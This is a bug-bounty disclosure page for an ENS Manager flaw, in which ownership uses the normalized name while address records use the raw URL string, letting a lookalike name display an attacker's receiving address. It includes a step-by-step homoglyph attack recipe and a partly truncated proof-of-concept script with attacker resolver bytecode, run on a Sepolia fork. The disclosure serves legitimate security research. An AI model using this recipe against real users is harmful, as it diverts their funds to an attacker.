Skip to content
Business logic Audit finding Advanced

Normalization mismatch between the owner and records queries in the Manager profile route displays an attacker's name and address under the victim's ownership, causing stealthy

The Manager profile page derived ownership from the ENSIP-15 normalized name but fetched records from the raw URL string, so two spellings that normalize to the same name could show the real owner's details alongside an attacker's receiving address. A payer could be shown the attacker's address as the name's receiving address, and the real owner was shown an Edit Profile button with the attacker's address pre-filled as their own.

deltabear Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour
# 91869 w a critical normalization mismatch between the owner and records queries in the manager profile route displays an attacker s name and address under the victim s ownership causing stealthy 

**Submitted on Sep 5th 2026 at 00:20:25 UTC by @deltabear for** [**Audit Competition | ENS**](https://immunefi.com/audit-competition/audit-competition-ens)

* **Report ID:** #91869
* **Report Type:** Websites & Apps
* **Report severity:** Critical
* **Target:** <https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager>
* **Impacts:**
  * Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves

## Description

## Brief/Intro

The Manager takes the name from the URL and derives it two ways. Ownership is computed on the ENSIP-15 normalized name; the records come from the raw string. Two spellings that normalize together can draw identically on screen, so one page shows the victim's true ownership next to the attacker's receiving address, and tells whoever is looking that the name is theirs.

A payer reads the attacker's address as the name's receiving address, beside the real owner. The name's real owner is shown an **Edit Profile** button, and inside it a field labelled "Your Ethereum Address" holding the attacker's address.

## Vulnerability Details

`routes/$name/route.tsx:5-13` is the whole param gate. It checks length and a dot and returns the string untouched. `routes/$name/index.tsx:166,173` hands it to `ProfileView`, which passes one `name` prop to both queries at `ProfileView.tsx:94` and `:100`.

The owner leg normalizes, `profileOwner.ts:25,56`:

```ts
const ethName = normalizeEthName(params.name)     // :25  -> profileName.ts:18 normalize(name)
ensjsv2_getOwner(client, { name: ethName.name })  // :56  NORMALIZED
```

The records leg does not, `profileRecords.ts:82,123-125`:

```ts
export const getProfileRecords = ResultFn(async function* (name: string) {  // :82  raw route param
  ...
  getRecords(client, { name, ... })                                        // :125 RAW
```

Measured on a fork of live Sepolia, through the app's own calls:

```
route param "crypto.eth"
    owner leg (normalized)         0x0a7b367EE82E8a77fb2273f37848d4B8aD77bB57
    records leg (raw): resolver    0x75C7495CfD896FB78C4F6eF9f49Aa291232Cd116
    records leg (raw): ETH addr    (none)

route param "�
�rypto.eth"
    owner leg (normalized)         0x0a7b367EE82E8a77fb2273f37848d4B8aD77bB57
    records leg (raw): resolver    0x4EF4C5AEcCF2Be4338D997333d83432C35bEf3f4
    records leg (raw): ETH addr    0x7738013316435525F00611fbc24fC48a3371688a
```

### What the page shows

The header, the page title and the owner row all read victim's name and owner address. Under the heading **Main receiving address**, inside a copy button (`ProfileAddressesSection.tsx:90-94,130-142`), the page prints the attacker's address. One click put it on the clipboard, recorded live during testing and provided in data.

### The app tells the visitor they own it

`ProfileView.tsx:115,119` computes `isOwner` from the normalized owner, and `ProfileEditAction.tsx:35` gates the button on it:

```ts
if (!isOwner || isInGrace || isUnmigratedEthName) return null
```

So for the real owner **EDIT PROFILE** renders on the attacker's name which is identical to the victim's on page. Opening it, the Addresses tab shows a field labelled **"Your Ethereum Address"** pre-filled with the attacker's address as shown in the screenshots, directly under the app's own sentence *"When someone sends funds to your name, it goes to your Ethereum address."* Screenshot: `evidence/edit-profile-attacker-address-shown.png`.

The same `isOwner` also suppresses the third-party renewal warning on this page. That is shown in the PoC below.

### The registrar accepts the label

`contracts-v2` `ETHRegistrar.register` performs a commitment check, an `InvalidOwner` check and `_checkAvailable`. There is no label-validity or normalization check. Registered on a fork of live Sepolia through the real registrar, from a fresh key with no relationship to the victim, for 8.000021 USDC.

### Vulnerable source code

**1. The unnormalized route param** @ `apps/manager/src/routes/$name/route.tsx:5-13`

```ts
parse: ({ name }) => {
  if (name.length < 3 || !name.includes('.')) {
    throw new Error('Invalid ENS name')
  }

  return {
    name,
  }
},
```

**2. The owner leg, normalized** @ `apps/manager/src/features/profile/service/profileOwner.ts:25,56`

```ts
const ethName = normalizeEthName(params.name)
...
const v2Owner = yield* fromPromise(
  ensjsv2_getOwner(client, { name: ethName.name }),
  (e) => new GetOwnerError({ cause: e }),
)
```

**3. The records leg, raw** @ `apps/manager/src/features/profile/service/profileRecords.ts:82,123-131`

```ts
export const getProfileRecords = ResultFn(async function* (name: string) {
```

```ts
const records = yield* fromPromise(
  getRecords(client, {
    name,
    texts,
    coins,
    contentHash: true,
    abi: true,
    ignoreInvalidCoinTypes: true,
  }),
  (error) => new GetProfileRecordsError({ cause: error }),
)
```

**4. Both queries, one prop** @ `apps/manager/src/features/profile/components/view/ProfileView.tsx:93-101`

```ts
const { data: profileRecords, refetch: refetchRecords } = useSuspenseQuery({
  ...profileRecordsQuery(name),
})
...
const { data: ownerData, isPending: isOwnerPending } = useQuery({
  ...profileOwnerQuery(name),
})
```

**5. `isOwner`, computed from the normalized owner** @ `apps/manager/src/features/profile/components/view/ProfileView.tsx:115,119`

```ts
const owner = ownerData?.owner as Address | undefined
...
const isOwner = useIsOwner({ owner })
```

**6. The Edit Profile gate** @ `apps/manager/src/features/profile/components/view/ProfileEditAction.tsx:35`

```ts
if (!isOwner || isInGrace || isUnmigratedEthName) return null
```

**7. The rendered address, in a copy button** @ `apps/manager/src/features/profile/components/view/ProfileAddressesSection.tsx:90-94,130-142`

```tsx
<CopyableButton
  value={address.value}
  ...
```

**8. The app's own statement of what the record is for** @ `apps/manager/src/features/profile/components/dialogs/edit-profile/tabs/addresses/EvmAddressSection.tsx:40,51`

```tsx
description="When someone sends funds to your name, it goes to your Ethereum address. Pick which other chains you want your name to work on."
...
label="Your Ethereum Address"
```

## Impact Details

* **The application allows a victim to renew the attacker's name as it was theirs.** Upon clicking renew on a completely foreign name, a user is prompted a warning that this is not theirs: "That's generous of you! Renewing this name will add time to the current owner's registration. You won't gain ownership of the name, but you will make someone's day." But when a user clicks the attackers name isn't prompted, and forwarded to a renewal page, which completes successfully without any warning what so ever. The name remains in the attacker's possession.
* **A payer is shown the attacker's address as the name's receiving address.** The page prints owner `0x0a7b367E...`, registration date and expiry, all true and all the victim's, and prints `0x7738013316435525F00611fbc24fC48a3371688a` under the heading **Main receiving address** inside a copy button. a click wrote it to the clipboard, measured in via browser.
* **The app tells the name's real owner that the attacker's name is theirs.** Shows identical name and owner address key, EDIT PROFILE render because `ProfileEditAction.tsx:35` reads the normalized `isOwner`. Inside, under *"When someone sends funds to your name, it goes to your Ethereum address"*, the field **"Your Ethereum Address"** contains the attacker's address. The app is presenting it to the victim as their own.
* **The same false ownership reaches other flows on the page.** `shouldShowThirdPartyRenewalWarning` is `isOwner === false`, so the warning that would have told the visitor *"you will not gain ownership of the name"* never renders, and the label the renewal charges for is the raw one. Shown in the PoC.
* **Nothing warns about the mismatch.** No normalization warning exists anywhere in `apps/manager/src`. The other identity on the page comes from the normalized legs, so it prints the victim's real data and makes the page read as authentic.

## References

* `apps/manager/src/routes/$name/route.tsx:5-13` - the param gate, no normalization
* `apps/manager/src/routes/$name/index.tsx:166,173` - the raw param handed to the view
* `apps/manager/src/features/profile/components/view/ProfileView.tsx:94,100,115,119` - both queries, one prop, and `isOwner`
* `apps/manager/src/features/profile/service/profileOwner.ts:25,56` - the normalized leg
* `apps/manager/src/features/profile/service/profileName.ts:14-40` - `normalizeEthName`
* `apps/manager/src/features/profile/service/profileRecords.ts:82,123-131` - the raw leg
* `apps/manager/src/features/profile/components/view/ProfileEditAction.tsx:35` - the Edit Profile gate
* `apps/manager/src/features/profile/components/view/ProfileAddressesSection.tsx:90-94,130-142` - the copy button
* `apps/manager/src/features/profile/components/dialogs/edit-profile/tabs/addresses/EvmAddressSection.tsx:40,51` - "Your Ethereum Address"
* `apps/manager/src/features/renew/utils/thirdPartyRenewalWarning.ts:1-3` - `isOwner === false`, the suppressed warning
* `apps/manager/src/features/renew/components/ThirdPartyRenewalDialog.tsx:61-70` - the warning text
* `apps/manager/src/features/renew/utils/renewableName.ts:25-36` - the renewal label, never normalized

## Proof of Concept

## Proof of Concept

This was tested on a live running app, end-to-end, with logging every action from clipboard to a click, and everything validated. The renew transaction by the victim for the attacker is done without any warning, message or indicator unlike a control test where any user tries renewing any other user's name.

Screenshots show victims see attackers' pages as their own in multiple ways - Caps, special characters that may seem identical and propogate fake names via the search bar, etc. These victims are shown these names as their own, with attacker's addresses in copy and edit profile buttons.

1. Pick a target. Say crypto.eth.
2. Register a lookalike. A spelling that ENS treats as the same name but that is different bytes on chain. Two ways to get one:
   * �

�rypto.eth, where the first letter is a roman numeral that draws as a c
   * é written as e plus a separate accent mark instead of one character Either way it costs 8 USDC and nobody checks the spelling.
3. Point it at your own resolver and set its address to your own wallet.
4. The victim opens that name.
5. The page asks two questions with two different spellings.
   * Who owns this? uses the corrected spelling, so it shows the real owner of crypto.eth, plus their real registration date and expiry. All true.
   * What is this name's address? uses the URL text as-is, so it shows the attacker's address. Both land on the same page. Nothing warns you.

Now it splits by who opened it.

If a payer opened it:

6. They see crypto.eth, the correct owner, and under Main receiving address the attacker's address.
7. One click copies it.
8. They paste and send. Money goes to the attacker.

If the real owner opened it

6. The app checked ownership with the corrected spelling, so it decides they own this name. EDIT PROFILE appears.
7. Inside, under the app's own line "When someone sends funds to your name, it goes to your Ethereum address", the field "Your Ethereum Address" shows the attacker's address. The app is telling them the attacker's wallet is theirs.
8. Same false ownership hides the renewal warning. Normally renewing someone else's name pops up "That's generous of you! ... You won't gain ownership of the name." It never appears, and RENEW NAME would charge them to extend the attacker's registration.

```bash
node poc.mjs
```

```js
#!/usr/bin/env node
//   1. forks live Sepolia with anvil
//   2. registers "�
�rypto" through the REAL ETHRegistrar, paying the real price
//      in USDC, from a fresh key it generates. No impersonation of the attacker.
//   3. imports the target's OWN code out of the checkout and runs it:
//        normalizeEthName                    features/profile/service/profileName.ts
//        isConnectedProfileOwner             features/profile/components/view/connectedAccounts.helpers.ts
//        shouldShowThirdPartyRenewalWarning  features/renew/utils/thirdPartyRenewalWarning.ts
//        parseRenewableName                  features/renew/utils/renewableName.ts
//   4. prints the split, the suppressed warning, and the label that gets paid for

import { spawn, spawnSync } from 'node:child_process'
import { copyFileSync, existsSync, mkdirSync, writeFileSync } from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { fileURLToPath } from 'node:url'

const HERE = path.dirname(fileURLToPath(import.meta.url))
const REPO = process.env.ENS_REPO ?? path.resolve(HERE, '../../../../ens-apps')
const WORK = process.env.POC_WORKDIR ?? path.join(os.tmpdir(), 'ens-poc-v2-normalization-split')

const FORK_RPC = process.env.FORK_RPC ??
  'https://lb.drpc.live/sepolia/AnmpasF2C0JBqeAEzxVO8aRo7Ju0xlER8JS4QmlfqV1j'
// a fresh port per run, so a stale anvil from an earlier run never collides
const PORT = Number(process.env.POC_ANVIL_PORT ?? (8600 + Math.floor(Math.random() * 300)))
const RPC = `http://127.0.0.1:${PORT}`

// ============================================================== generated files

const PKG = `{
  "name": "ens-poc-v2-normalization-split",
  "private": true,
  "type": "module",
  "dependencies": {
    "@ensdomains/ensjs": "https://pkg.pr.new/ensdomains/ensjs/@ensdomains/ensjs@e96662c",
    "@ensdomains/ensjs-abi": "https://pkg.pr.new/ensdomains/ensjs/@ensdomains/ensjs-abi@e96662c",
    "@ensdomains/address-encoder": "^1.1.3",
    "neverthrow": "^8.2.0",
    "ts-pattern": "^5.8.0",
    "valibot": "^1.1.0",
    "viem": "2.52.2"
  },
  "devDependencies": { "tsx": "^4.19.2" }
}
`

const LOADER = `import path from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const HERE = path.dirname(fileURLToPath(import.meta.url))
const ANCHOR = pathToFileURL(path.join(HERE, 'poc.mjs')).href
const REPO = process.env.ENS_REPO
const TXM_SHIM = pathToFileURL(path.join(HERE, '_txm.mjs')).href
const RECORDS_SHIM = pathToFileURL(path.join(HERE, '_records.mjs')).href
const NT_SHIM = pathToFileURL(path.join(HERE, '_neverthrow.mjs')).href

const isBare = (s) => !s.startsWith('.') && !s.startsWith('/') && !s.includes(':')
const REPO_PREFIX = path.resolve(REPO).toLowerCase() + path.sep
const isRepoFile = (parentURL) => {
  if (!parentURL || !parentURL.startsWith('file:')) return false
  try {
    return path.resolve(fileURLToPath(parentURL)).toLowerCase().startsWith(REPO_PREFIX)
  } catch { return false }
}

export async function resolve(specifier, context, nextResolve) {
  if (specifier.startsWith('@ens-repo/'))
    return nextResolve(pathToFileURL(path.join(REPO, specifier.slice(10))).href, context)
  // data/records is an icon catalogue: every module in it pulls React icon
  // components. validateAddress.ts uses one thing from it,
  // getAddressRecordDef(coinType)?.name, to word an error string. The real
  // validation beside it, getCoderByCoinType(60).decode(value), runs unmodified.
  if (specifier.endsWith('features/profile/data/records') && isRepoFile(context.parentURL))
    return nextResolve(RECORDS_SHIM, context)
  // apps/manager's own '@/...' -> 'apps/manager/src/...' alias (vite.config.ts)
  if (specifier.startsWith('@/') && isRepoFile(context.parentURL))
    return nextResolve(pathToFileURL(path.join(REPO, 'apps/manager/src', specifier.slice(2))).href, context)
  // some profile service modules import the transaction MANAGER at module top
  // level. Nothing this PoC calls touches it.
  if (specifier === '@ens-apps/transaction-manager') return nextResolve(TXM_SHIM, context)
  if (specifier === '@ens-apps/shared-schema')
    return nextResolve(pathToFileURL(path.join(REPO, 'packages/shared-schema/src/index.ts')).href, context)
  // TaggedError only, used by name-parser.ts for its error type
  if (specifier === '@ens-apps/utils/neverthrow') return nextResolve(NT_SHIM, context)
  if (isRepoFile(context.parentURL) && isBare(specifier))
    return nextResolve(specifier, { ...context, parentURL: ANCHOR })
  return nextResolve(specifier, context)
}
`

const REGISTER = `import { register } from 'node:module'
register('./_loader.mjs', import.meta.url)
`

const TXM_SHIM = `export const transactionManager = undefined
export const getSmartAccountAddress = () => { throw new Error('not reached') }
export const waitForTransaction = () => { throw new Error('not reached') }
export const ENS_SEPOLIA_CONTRACTS = {}
`
const RECORDS_SHIM = `export const getAddressRecordDef = () => undefined
export const addressRecords = []
export const textRecords = []
`
const NT_SHIM = `export const TaggedError = (tag) => class extends Error {
  constructor(props) { super(tag); Object.assign(this, props ?? {}) }
}
export const ResultFn = (fn) => fn
`

// ============================================================== bootstrap

if (!process.env.ENS_POC_CHILD) {
  if (!existsSync(path.join(REPO, 'apps/manager/src/features/profile/service/profileRecords.ts'))) {
    console.error(`\nERROR: ENS checkout not found at ${REPO}. Set ENS_REPO.`)
    process.exit(2)
  }
  mkdirSync(WORK, { recursive: true })
  writeFileSync(path.join(WORK, 'package.json'), PKG)
  writeFileSync(path.join(WORK, '_loader.mjs'), LOADER)
  writeFileSync(path.join(WORK, '_register.mjs'), REGISTER)
  writeFileSync(path.join(WORK, '_txm.mjs'), TXM_SHIM)
  writeFileSync(path.join(WORK, '_records.mjs'), RECORDS_SHIM)
  writeFileSync(path.join(WORK, '_neverthrow.mjs'), NT_SHIM)
  copyFileSync(fileURLToPath(import.meta.url), path.join(WORK, 'poc.mjs'))

  if (!existsSync(path.join(WORK, 'node_modules', 'tsx', 'package.json'))) {
    console.log('\nInstalling pinned deps (viem 2.52.2, ensjs @e96662c, valibot, tsx)...')
    const r = spawnSync('npx', ['--yes', 'pnpm@9', 'install', '--no-frozen-lockfile'],
      { cwd: WORK, stdio: 'inherit', shell: true })
    if (r.status !== 0) process.exit(r.status ?? 1)
  }
  const r = spawnSync(process.execPath,
    ['--import', 'tsx', '--import', './_register.mjs', 'poc.mjs'],
    { cwd: WORK, stdio: 'inherit',
      env: { ...process.env, ENS_POC_CHILD: '1', ENS_REPO: REPO, NODE_NO_WARNINGS: '1' } })
  process.exit(r.status ?? 1)
}

// ============================================================== child process

const {
  createPublicClient, createWalletClient, http, namehash, keccak256,
  encodeAbiParameters, decodeFunctionData, parseAbi, pad, toHex, encodeFunctionData,
} = await import('viem')
const { sepolia } = await import('viem/chains')
const { privateKeyToAccount } = await import('viem/accounts')
const { extendChainWithEns } = await import('@ensdomains/ensjs/chain')
const { getRecords } = await import('@ensdomains/ensjs/public')
const { getOwner } = await import('@ensdomains/ensjs/public/v2')
const { normalize } = await import('viem/ens')
const R = await import('@ensdomains/ensjs-abi/v2/ethRegistrar')

// LAYER B: the target's own code, unmodified, out of the checkout.
const { normalizeEthName } = await import(
  '@ens-repo/apps/manager/src/features/profile/service/profileName.ts')
const { isConnectedProfileOwner } = await import(
  '@ens-repo/apps/manager/src/features/profile/components/view/connectedAccounts.helpers.ts')
const { shouldShowThirdPartyRenewalWarning } = await import(
  '@ens-repo/apps/manager/src/features/renew/utils/thirdPartyRenewalWarning.ts')
const { parseRenewableName } = await import(
  '@ens-repo/apps/manager/src/features/renew/utils/renewableName.ts')

// ---------------------------------------------------------------- the two names
const VICTIM = 'crypto.eth'
const LABEL = String.fromCodePoint(0x217D) + 'rypto'   // U+217D renders as "c"
const RAW = LABEL + '.eth'

// Compiled AttackerResolver. Source in harness/AttackerResolver.sol: it answers
// for the name it is handed, and accepts writes from anyone so the app's
// resolverWriteAccess.ts dry run returns true and needsResolverSetup is false.
const ATTACKER_RESOLVER_BYTECODE =
  '0x608060405234801561000f575f5ffd5b50604051611b98380380611b98833981810160405281019061003191906100d4565b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506100ff565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100a38261007a565b9050919050565b6100b381610099565b81146100bd575f5ffd5b50565b5f815190506100ce816100aa565b92915050565b5f602082840312156100e9576100e8610076565b5b5f6100f6848285016100c0565b91505092915050565b611a8c8061010c5f395ff3fe608060405234801561000f575f5ffd5b50600436106100fe575f3560e01c8063623195b011610095578063ac9650d811610064578063ac9650d8146102cf578063bc1c58d1146102ff578063d5fa2b001461032f578063f1cb7e061461034b576100fe565b8063623195b0146102375780637aaecfbd146102535780638b95dd71146102835780639cf3bd151461029f576100fe565b80633b3b57de116100d15780633b3b57de1461019b57806348eb76ee146101cb57806359d1d43c146101e95780635f29891214610219576100fe565b806301ffc9a71461010257806310f13a8c146101325780632203ab561461014e578063304e6ade1461017f575b5f5ffd5b61011c60048036038101906101179190610a26565b61037b565b6040516101299190610a6b565b60405180910390f35b61014c60048036038101906101479190610b18565b61049c565b005b61016860048036038101906101639190610bdc565b6104f9565b604051610176929190610c99565b60405180910390f35b61019960048036038101906101949190610d1c565b610517565b005b6101b560048036038101906101b09190610d79565b610533565b6040516101c29190610de3565b60405180910390f35b6101d361055c565b6040516101e09190610de3565b60405180910390f35b61020360048036038101906101fe9190610dfc565b610580565b6040516102109190610eab565b60405180910390f35b61022161059a565b60405161022e9190610ecb565b60405180910390f35b610251600480360381019061024c9190610ee4565b6105a0565b005b61026d60048036038101906102689190610bdc565b6105bd565b60405161027a9190610f55565b60405180910390f35b61029d60048036038101906102989190610ee4565b610663565b005b6102b960048036038101906102b4919061109d565b6106b0565b6040516102c69190610eab565b60405180910390f35b6102e960048036038101906102e4919061114c565b61076e565b6040516102f6919061129a565b60405180910390f35b61031960048036038101906103149190610d79565b6108d6565b6040516103269190610f55565b60405180910390f35b610349600480360381019061034491906112e4565b6108ee565b005b61036560048036038101906103609190610bdc565b610957565b6040516103729190610f55565b60405180910390f35b5f6301ffc9a760e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806103d55750633b3b57de60e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610405575063f1cb7e0660e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061043557506359d1d43c60e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610465575063bc1c58d160e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806104955750632203ab5660e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b818160025f8881526020019081526020015f2086866040516104bf929190611350565b908152602001604051809103902091826104da92919061156f565b5060035f8154809291906104ed90611669565b91905055505050505050565b5f60605f60405180602001604052805f815250915091509250929050565b60035f81548092919061052990611669565b9190505550505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060405180602001604052805f81525090509392505050565b60035481565b60035f8154809291906105b290611669565b919050555050505050565b6001602052815f5260405f20602052805f5260405f205f915091505080546105e49061139f565b80601f01602080910402602001604051908101604052809291908181526020018280546106109061139f565b801561065b5780601f106106325761010080835404028352916020019161065b565b820191905f5260205f20905b81548152906001019060200180831161063e57829003601f168201915b505050505081565b818160015f8781526020019081526020015f205f8681526020019081526020015f209182610692929190611712565b5060035f8154809291906106a590611669565b919050555050505050565b6002602052815f5260405f20818051602081018201805184825260208301602085012081835280955050505050505f915091505080546106ef9061139f565b80601f016020809104026020016040519081016040528092919081815260200182805461071b9061139f565b80156107665780601f1061073d57610100808354040283529160200191610766565b820191905f5260205f20905b81548152906001019060200180831161074957829003601f168201915b505050505081565b60608282905067ffffffffffffffff81111561078d5761078c610f79565b5b6040519080825280602002602001820160405280156107c057816020015b60608152602001906001900390816107ab5790505b5090505f5f90505b838390508110156108cf575f5f3073ffffffffffffffffffffffffffffffffffffffff168686858181106107ff576107fe6117df565b5b90506020028101906108119190611818565b60405161081f9291906118a8565b5f60405180830381855af49150503d805f8114610857576040519150601f19603f3d011682016040523d82523d5f602084013e61085c565b606091505b5091509150816108a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108989061190a565b60405180910390fd5b808484815181106108b5576108b46117df565b5b6020026020010181905250505080806001019150506107c8565b5092915050565b606060405180602001604052805f8152509050919050565b806040516020016108ff919061196d565b60405160208183030381529060405260015f8481526020019081526020015f205f603c81526020019081526020015f20908161093b9190611987565b5060035f81548092919061094e90611669565b91905055505050565b6060603c82036109a8575f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610992919061196d565b60405160208183030381529060405290506109ba565b60405180602001604052805f81525090505b92915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610a05816109d1565b8114610a0f575f5ffd5b50565b5f81359050610a20816109fc565b92915050565b5f60208284031215610a3b57610a3a6109c9565b5b5f610a4884828501610a12565b91505092915050565b5f8115159050919050565b610a6581610a51565b82525050565b5f602082019050610a7e5f830184610a5c565b92915050565b5f819050919050565b610a9681610a84565b8114610aa0575f5ffd5b50565b5f81359050610ab181610a8d565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f840112610ad857610ad7610ab7565b5b8235905067ffffffffffffffff811115610af557610af4610abb565b5b602083019150836001820283011115610b1157610b10610abf565b5b9250929050565b5f5f5f5f5f60608688031215610b3157610b306109c9565b5b5f610b3e88828901610aa3565b955050602086013567ffffffffffffffff811115610b5f57610b5e6109cd565b5b610b6b88828901610ac3565b9450945050604086013567ffffffffffffffff811115610b8e57610b8d6109cd565b5b610b9a88828901610ac3565b92509250509295509295909350565b5f819050919050565b610bbb81610ba9565b8114610bc5575f5ffd5b50565b5f81359050610bd681610bb2565b92915050565b5f5f60408385031215610bf257610bf16109c9565b5b5f610bff85828601610aa3565b9250506020610c1085828601610bc8565b9150509250929050565b610c2381610ba9565b82525050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c6b82610c29565b610c758185610c33565b9350610c85818560208601610c43565b610c8e81610c51565b840191505092915050565b5f604082019050610cac5f830185610c1a565b8181036020830152610cbe8184610c61565b90509392505050565b5f5f83601f840112610cdc57610cdb610ab7565b5b8235905067ffffffffffffffff811115610cf957610cf8610abb565b5b602083019150836001820283011115610d1557610d14610abf565b5b9250929050565b5f5f5f60408486031215610d3357610d326109c9565b5b5f610d4086828701610aa3565b935050602084013567ffffffffffffffff811115610d6157610d606109cd565b5b610d6d86828701610cc7565b92509250509250925092565b5f60208284031215610d8e57610d8d6109c9565b5b5f610d9b84828501610aa3565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610dcd82610da4565b9050919050565b610ddd81610dc3565b82525050565b5f602082019050610df65f830184610dd4565b92915050565b5f5f5f60408486031215610e1357610e126109c9565b5b5f610e2086828701610aa3565b935050602084013567ffffffffffffffff811115610e4157610e406109cd565b5b610e4d86828701610ac3565b92509250509250925092565b5f81519050919050565b5f82825260208201905092915050565b5f610e7d82610e59565b610e878185610e63565b9350610e97818560208601610c43565b610ea081610c51565b840191505092915050565b5f6020820190508181035f830152610ec38184610e73565b905092915050565b5f602082019050610ede5f830184610c1a565b92915050565b5f5f5f5f60608587031215610efc57610efb6109c9565b5b5f610f0987828801610aa3565b9450506020610f1a87828801610bc8565b935050604085013567ffffffffffffffff811115610f3b57610f3a6109cd565b5b610f4787828801610cc7565b925092505092959194509250565b5f6020820190508181035f830152610f6d8184610c61565b905092915050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610faf82610c51565b810181811067ffffffffffffffff82111715610fce57610fcd610f79565b5b80604052505050565b5f610fe06109c0565b9050610fec8282610fa6565b919050565b5f67ffffffffffffffff82111561100b5761100a610f79565b5b61101482610c51565b9050602081019050919050565b828183375f83830152505050565b5f61104161103c84610ff1565b610fd7565b90508281526020810184848401111561105d5761105c610f75565b5b611068848285611021565b509392505050565b5f82601f83011261108457611083610ab7565b5b813561109484826020860161102f565b91505092915050565b5f5f604083850312156110b3576110b26109c9565b5b5f6110c085828601610aa3565b925050602083013567ffffffffffffffff8111156110e1576110e06109cd565b5b6110ed85828601611070565b9150509250929050565b5f5f83601f84011261110c5761110b610ab7565b5b8235905067ffffffffffffffff81111561112957611128610abb565b5b60208301915083602082028301111561114557611144610abf

The original report as published on Immunefi, by deltabear. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The route parameter was passed unnormalized to the records lookup while the owner lookup normalized it, so the two queries resolved different names for the same page.

Impact

A payer could be shown the attacker's address as the name's receiving address and copy it, while the real owner could be shown the attacker's address as their own and have the third-party renewal warning suppressed.

What the attacker needed

Attacker registers a lookalike name; victim visits the lookalike name page; costs about 8 USDC to register

The fix

The route parameter should be normalized once before being passed to both the owner and records queries, so both legs resolve the same name.

How it was found

  1. Pick a target name such as crypto.eth.
  2. Register a lookalike spelling that ENS normalizes to the same name but is different bytes on chain.
  3. Point the lookalike at your own resolver and set its address to your own wallet.
  4. Have the victim open that name in the Manager.
  5. The page shows the real owner from the normalized lookup and the attacker's address from the raw lookup.
  6. If the real owner opens it, Edit Profile appears and pre-fills the attacker's address as theirs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ENS names can be written in more than one way in Unicode, and the system treats some of these spellings as the same name. This app checked who owns the name using the cleaned-up spelling, but looked up the payment address using the exact text from the URL. An attacker could register a lookalike spelling, point it at their own wallet, and the page would show the real owner next to the attacker's address.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by deltabear

View all

30 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.